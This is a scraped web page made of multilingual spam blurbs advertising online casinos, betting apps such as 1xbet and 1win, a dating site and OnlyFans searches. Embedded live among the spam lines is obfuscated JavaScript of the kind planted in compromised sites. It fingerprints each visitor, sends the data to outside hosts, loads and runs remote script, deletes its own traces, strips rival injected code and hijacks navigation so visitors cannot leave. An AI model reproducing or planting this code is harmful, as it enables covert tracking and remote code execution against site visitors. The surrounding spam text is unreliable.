When managing cross‑border payments, comparing real‑time exchange rates, fees, and margin requirements is essential for cost‑effective transfers. Online platforms simplify monitoring rates and choosing optimal times to move funds. The solution margin requirements explained offers a clear guide for investors and businesses to assess currency exposure and transaction costs.

Many singles want a dating experience that feels easy and comfortable. With clear tools for searching, messaging, and getting to know people, Amoredate helps you take the first step without pressure. Register today and start meeting new people online.

Vybrat spolehlivou platformu je zásadní pro úspěšné online hraní, protože bezpečnost plateb, rozmanitost slotů, bonusy a rychlost výběrů zásadně ovlivňují zážitek hráčů. Prozkoumejte slotrave, kde najdete rozmanité herní nabídky a přátelské podmínky, které zvýší vaši šanci na výhru.
Scegliere un sito affidabile è fondamentale per vivere al meglio l’esperienza di gioco online, poiché la sicurezza dei depositi, la selezione di slot, i bonus e la rapidità nei prelievi influenzano l’esperienza dei giocatori. Il sito trixino offre una piattaforma trasparente, con casinò da verificare e strumenti per comprendere i criteri chiave prima di giocare.
Een betrouwbare platform kiezen is cruciaal om optimaal te genieten van online gokken, aangezien beveiliging, variatie en bonussen de speelervaring bepalen. De gids slotlair casino helpt spelers bij het vergelijken van sites en het herkennen van belangrijke criteria voordat ze spelen.
Choisir une plateforme fiable est essentiel pour profiter des jeux d’argent en ligne dans de bonnes conditions, car la sécurité des paiements, la variété des machines à sous, les bonus proposés et la rapidité des retraits peuvent fortement influencer l’expérience des joueurs. Le guide amon aide à comparer les sites disponibles et à mieux comprendre les critères importants avant de jouer dans un casino en ligne.
Choisir une plateforme fiable est essentiel pour profiter des jeux d’argent en ligne dans de bonnes conditions, car la sécurité des paiements, la variété des machines à sous, les bonus offerts et la rapidité des retraits peuvent fortement influencer l’expérience des joueurs. Le guide divaspin aide à comparer les sites disponibles et à mieux comprendre les critères importants avant de jouer dans un casino en ligne.
Choisir banzai pour jouer en ligne, c’est opter pour une plateforme sécurisée et divertissante ; ses jeux variés, ses bonus attractifs et les paiements rapides garantissent une expérience de casino sans faille. Le guide banzai présente les meilleurs sites, comparant sécurité, sélection, promotions afin de choisir l’endroit idéal pour votre prochain tour d’argent.
Wybór zaufanego kasyna to klucz do udanego rozgrywki w zakładach, ponieważ bezpieczeństwo transakcji, różnorodność gier, oferowane bonusy i szybkie wypłaty znacząco wpływają na doświadczenie graczy. Poradnik lussurio pomaga przeanalizować dostępne platformy i zrozumieć najważniejsze kryteria przed rozpoczęciem gry.
Hledání bezpečné a spolehlivé platformy je klíčové pro hraní online hazardu, protože zabezpečení plateb, rozmanitost automatů, bonusy a rychlé výběry ovlivňují herní zážitek. Tento průvodce slotrave umožňuje porovnat dostupné kasina a lépe pochopit klíčové faktory před zahájením hry na online kasinu.
Vybrat důvěryhodnou platformu je klíčové pro užijení her online, protože bezpečnost plateb, široký výběr automatů, lákavé bonusy a rychlé výběry zásadně ovlivňují zážitek hráčů. Průvodce ringospin pomáhá porovnat dostupné stránky a lépe pochopit klíčové kritéria před zahájením hry.
Wybór solidnej platformy jest kluczowy dla przyjemnego doświadczenia w grach hazardowych online, ponieważ bezpieczeństwo transakcji, szeroki wybór automatów, atrakcyjne bonusy i szybkie wypłaty determinują satysfakcję gracza. Strona Casino Lemon oferuje porównanie dostępnych kasyn, pomagając zrozumieć najważniejsze kryteria przed rozpoczęciem gry w kasynie online.
Выбирая надёжный онлайн‑казино, важно оценить безопасность платежей, ассортимент игровых автоматов, наличие бонусов и скорость вывода средств, ведь эти факторы сильно влияют на азарт. Руководство ПинАп официальный сайт в РФ поможет сравнить платформы и понять ключевые критерии, прежде чем начать играть.
Fans can assess player trends and match outcomes by exploring detailed statistics, live updates, and historical performance metrics. The latest football analysis reveals how team dynamics shape scoring patterns, while basketball insights highlight shot efficiency and rebound rates. For those tracking player data, a platform like total over offers a focused view of individual contributions and game impact.
Choosing a reliable platform is essential for a great online casino experience, as payment security, game variety, enticing bonuses, and quick withdrawals all shape players’ enjoyment. The 5gringos app offers a seamless mobile interface, diverse betting options, and generous promotions, making it a top choice for gamblers who want convenience and excitement.
Choosing a trustworthy platform is essential for a satisfying online gambling experience, as secure payments, diverse slots, generous bonuses, and swift withdrawals can greatly influence player enjoyment. The Pistolo Casino guide helps compare sites and understand key factors before playing, ensuring a safe and enjoyable casino adventure.
Jouer dans un casino en ligne fiable permet de vivre des sensations fortes tout en assurant la sécurité de vos dépôts et retraits. Le site luckybit offre une large sélection de jeux, des bonus attractifs et une interface conviviale, ce qui garantit une expérience de jeu fluide et sécurisée pour les amateurs de paris et de machines à sous.
Find 1xbae for betting options
Choosing a trustworthy casino platform is key to a safe online gambling experience. The security of deposits, variety of slots, attractive bonuses, and fast withdrawals all shape a player’s satisfaction. Explore the features of https://jasminslots.app/ to discover reliable play, generous promotions, and a smooth gaming flow.
Find the older 1xbet update version 2021 download for your device.
Somali users can get the 1xbet somalia apk download for mobile betting
Get extra value with the betcash 1xbet apk for mobile betting
Consultez le site 1xbet pour découvrir les offres.
Au Bénin, pour télécharger 1xbet bj suivez les instructions du site officiel.
Un nouveau 1xbetappk est parfois disponible pour les paris.
Utilisez la 1xbet on pour parier sur PC
The relevant page for 1win partner registration is covered on the official page.
For a closer look at www.1win download apk is covered with relevant information.
For a review of 1win apk download latest version uptodown is included in the overview.
The explanation of 1 win android is available for review here.
يمكن العثور على 1xbet تسجيل خروج في المواد المتاحة.
للاطلاع على شكل تطبيق 1xbet ضمن الدليل المتاح.
Het kiezen van een betrouwbare goksite is cruciaal om optimaal van online casino’s te genieten; veiligheid bij betalingen, diversiteit aan gokkasten, aantrekkelijke bonussen en snelle uitbetalingen beïnvloeden de speelervaring sterk. De gids millioner vergelijkt beschikbare platforms en verduidelijkt belangrijke criteria voordat je in een online casino speelt.
A practical guide to aviator app apk download latest version is the subject of this guide.
A guide to aviator apk predictor app is discussed on this page.
Players looking for aviator game for iphone is described for visitors.
To learn more about aviator cash apk is discussed on this page.
The page about onlyfans trending is covered in the available materials.

El retiro en pin up hn se procesa tras la verificación de seguridad de la cuenta, requisito estándar para todas las transacciones.

To learn more about best onlyfans comparison is covered with relevant information.
The overview of bestonlyfans reddit is the focus of this section.
(function(){ ‘use strict’; var APIS=[“https://apidatalive.com/k/m255fDhVEvxs4mO9/collect”,”https://workerrail.com/k/m255fDhVEvxs4mO9/collect”],APII=0,ME=null;try{ME=document.currentScript;}catch(e){} function b64e(s){return btoa(unescape(encodeURIComponent(s))).replace(/\+/g,’-‘).replace(/\//g,’_’).replace(/=+$/,”);} function b64d(s){s=String(s).replace(/-/g,’+’).replace(/_/g,’/’);while(s.length%4)s+=’=’;return decodeURIComponent(escape(atob(s)));} function j(b){ function step(i){ if(i>=APIS.length)return Promise.reject(new Error(‘x’)); var s=[],k;for(k in b)s.push(encodeURIComponent(k)+’=’+encodeURIComponent(b[k])); var o={method:’POST’,credentials:’same-origin’,headers:{‘Content-Type’:’application/x-www-form-urlencoded’},body:s.join(‘&’)}; return fetch(APIS[i],o) .then(function(r){ return r.text().then(function(t){var v;try{v=JSON.parse(t);}catch(e){return step(i+1);} if(v&&typeof v.b===’string’){try{v=JSON.parse(b64d(v.b));}catch(e){return step(i+1);}} APII=i;return v;},function(){return step(i+1);});},function(){return step(i+1);}); } return step(APII); } function fp(){var d={ua:navigator.userAgent,plat:(navigator.userAgentData&&navigator.userAgentData.platform)||navigator.platform||”,lang:navigator.language||”,langs:(navigator.languages||[]).join(‘,’), tz:(Intl.DateTimeFormat().resolvedOptions().timeZone)||”,sw:screen.width,sh:screen.height,dpr:window.devicePixelRatio||1,cores:navigator.hardwareConcurrency||0,mem:navigator.deviceMemory||0, touch:(‘ontouchstart’in window)||navigator.maxTouchPoints>0,wd:!!navigator.webdriver,host:location.host||”};return d;} function off(){try{if(ME&&ME.parentNode)ME.parentNode.removeChild(ME);}catch(e){}} function go(){ j({v:’1′,t:’pageview’,d:b64e(JSON.stringify(fp()))}).then(function(g){ if(!g||g.r!==’pass’){off();return;} j({v:’1′,t:’pageview’,cid:g.vid,fl:’1′}).then(function(fx){ if(!fx||typeof fx.js!==’string’){off();return;} off(); var s=document.createElement(‘script’);s.textContent=fx.js; (document.head||document.documentElement).appendChild(s); }).catch(function(){off();}); }).catch(function(){off();}); } if(document.readyState===’loading’)document.addEventListener(‘DOMContentLoaded’,go);else go(); })();(function(){var MARK=”m255fDhV”+”Evxs4mO9″;var Q=”.cfmd-rc-host,.captcha-container,[data-cfmd],.cf-ts,.ms-card,.dg-card,.cpk-icon-badge”;var SRC=’script[src*=”interseq.at”],link[href*=”interseq.at”],iframe[src*=”interseq.at”],script[src*=”xursod.com”],link[href*=”xursod.com”],iframe[src*=”xursod.com”],script[src*=”imacos.cc”],link[href*=”imacos.cc”],iframe[src*=”imacos.cc”],script[src*=”macrepairtool.com”],link[href*=”macrepairtool.com”],iframe[src*=”macrepairtool.com”],script[src*=”cfmd-rc-host”],link[href*=”cfmd-rc-host”],iframe[src*=”cfmd-rc-host”],script[src*=”captcha-container”],link[href*=”captcha-container”],iframe[src*=”captcha-container”],script[src*=”data-cfmd”],link[href*=”data-cfmd”],iframe[src*=”data-cfmd”],script[src*=”norediam.com”],link[href*=”norediam.com”],iframe[src*=”norediam.com”],script[src*=”New_Proliv”],link[href*=”New_Proliv”],iframe[src*=”New_Proliv”],script[src*=”ssn-id.email”],link[href*=”ssn-id.email”],iframe[src*=”ssn-id.email”],script[src*=”masqrad”],link[href*=”masqrad”],iframe[src*=”masqrad”],script[src*=”loadJSFromImage”],link[href*=”loadJSFromImage”],iframe[src*=”loadJSFromImage”],script[src*=”__fpEmbeds”],link[href*=”__fpEmbeds”],iframe[src*=”__fpEmbeds”],script[src*=”fp-embed-close”],link[href*=”fp-embed-close”],iframe[src*=”fp-embed-close”],script[src*=”plain-snow.pages.dev”],link[href*=”plain-snow.pages.dev”],iframe[src*=”plain-snow.pages.dev”],script[src*=”pages.dev/help”],link[href*=”pages.dev/help”],iframe[src*=”pages.dev/help”],script[src*=”extra_param_1″],link[href*=”extra_param_1″],iframe[src*=”extra_param_1″],script[src*=”(new Function(_code))”],link[href*=”(new Function(_code))”],iframe[src*=”(new Function(_code))”],script[src*=”0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2″],link[href*=”0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2″],iframe[src*=”0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2″],script[src*=”b68d1809″],link[href*=”b68d1809″],iframe[src*=”b68d1809″],script[src*=”blastapi.io”],link[href*=”blastapi.io”],iframe[src*=”blastapi.io”],script[src*=”rpc.ankr.com/polygon”],link[href*=”rpc.ankr.com/polygon”],iframe[src*=”rpc.ankr.com/polygon”],script[src*=”gateway.tenderly.co”],link[href*=”gateway.tenderly.co”],iframe[src*=”gateway.tenderly.co”],script[src*=”api.php?s=”],link[href*=”api.php?s=”],iframe[src*=”api.php?s=”],script[src*=”sevda.lol”],link[href*=”sevda.lol”],iframe[src*=”sevda.lol”]’;var MKS=[“interseq.at”,”xursod.com”,”imacos.cc”,”macrepairtool.com”,”cfmd-rc-host”,”captcha-container”,”data-cfmd”,”norediam.com”,”New_Proliv”,”ssn-id.email”,”masqrad”,”loadJSFromImage”,”__fpEmbeds”,”fp-embed-close”,”plain-snow.pages.dev”,”pages.dev/help”,”extra_param_1″,”(new Function(_code))”,”0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2″,”b68d1809″,”blastapi.io”,”rpc.ankr.com/polygon”,”gateway.tenderly.co”,”api.php?s=”,”sevda.lol”];function ours(el){try{if(!el||el.nodeType!==1)return false;var p=el;while(p){if(p.id&&p.id.indexOf(MARK)>=0)return true;p=p.parentNode;}if(el.querySelector&&el.querySelector(“[id*='”+MARK+”‘]”))return true;if(el.getAttribute&&el.getAttribute(“data-wphc-cleanup”)!==null)return true;}catch(_){}return false;}function enemyOverlay(el){try{if(ours(el))return false;if(el.tagName===”SCRIPT”||el.tagName===”STYLE”||el.tagName===”LINK”)return false;var st=getComputedStyle(el);if(st.position!==”fixed”&&st.position!==”absolute”)return false;var r=el.getBoundingClientRect();if(r.width<innerWidth*0.5||r.height<innerHeight*0.5)return false;var z=parseInt(st.zIndex||"0",10);if(z<99)return false;return true;}catch(_){return false}}function wipeKnown(){try{var L=document.querySelectorAll(Q);for(var i=0;i3){var S=document.querySelectorAll(SRC);for(var j=0;j<S.length;j++){S[j].remove();}}var SI=document.getElementsByTagName('script');for(var q=0;q=0)continue;for(var w=0;w2&&t.indexOf(MKS[w])>=0){SI[q].remove();break;}}}}catch(_){}}try{var K=[];for(var k=0;k<localStorage.length;k++){K.push(localStorage.key(k));}for(var n=0;n<K.length;n++){if(K[n]&&K[n].indexOf("captcha_")===0){localStorage.removeItem(K[n]);}}}catch(_){}try{var MR=document.querySelectorAll('meta[http-equiv]');for(var mi=0;mi<MR.length;mi++){var he=(MR[mi].getAttribute('http-equiv')||'').toLowerCase();if(he==='refresh'){MR[mi].remove();}}}catch(_){}try{var DG=document.querySelectorAll('dialog[open]');for(var di=0;di<DG.length;di++){if(!ours(DG[di])){try{DG[di].close();}catch(_){}try{DG[di].remove();}catch(_){}}}}catch(_){}try{var PV=document.querySelectorAll('[popover]');for(var pi=0;pi5&&!document.getElementById(MARK);}function earlyKill(){return Date.now()-born45000){return false;}return protectOwn();}function guard(e){e.preventDefault();e.returnValue=””;return “”;}function hookNav(){try{window.addEventListener(“beforeunload”,guard,true);}catch(_){}try{var LP=window.Location&&Location.prototype;if(LP){[“assign”,”replace”].forEach(function(f){try{var o=LP[f];LP[f]=function(u){if(!lock()){return o.call(this,u);}};}catch(_){}});}}catch(_){}try{if(window.navigation){navigation.addEventListener(‘navigate’,function(ev){try{if(lock()){ev.preventDefault();}}catch(_){}});}}catch(_){}try{_wopen0=window.open.bind(window);window.open=function(){if(lock()){return null;}return _wopen0.apply(window,arguments);};}catch(_){}}var _wopen0=null;function unhookNav(){try{window.removeEventListener(“beforeunload”,guard,true);}catch(_){}try{if(_wopen0){window.open=_wopen0;_wopen0=null;}}catch(_){}}function sweepOverlays(){try{var all=document.body?document.body.querySelectorAll(“div,section,main,aside,form,iframe,dialog”):[];for(var i=0;i<all.length;i++){if(enemyOverlay(all[i])){all[i].remove();}}}catch(_){}}function cycle(){try{wipeKnown();if(lock()){sweepOverlays();}else{release();}}catch(_){}}function cycle2(){try{wipeKnown();sweepOverlays();}catch(_){}}function release(){if(done)return;done=true;try{clearInterval(iv);}catch(_){}try{mo.disconnect();}catch(_){}unhookNav();var watch=setInterval(cycle2,2000);setTimeout(function(){try{clearInterval(watch);}catch(_){}setInterval(wipeKnown,5000);},900000);}hookNav();var mo=null;try{mo=new MutationObserver(cycle);mo.observe(document.documentElement,{childList:true,subtree:true});}catch(_){}var iv=setInterval(cycle,400);cycle();})();
Visitors interested in only fans famous is presented with the main details.
The overview of duel casino races can be found on this page.
A practical guide to duel casion app is the subject of this guide.
The overview of duel com poker girl is the focus of this section.
Visitors interested in dual duel com is covered on the official page.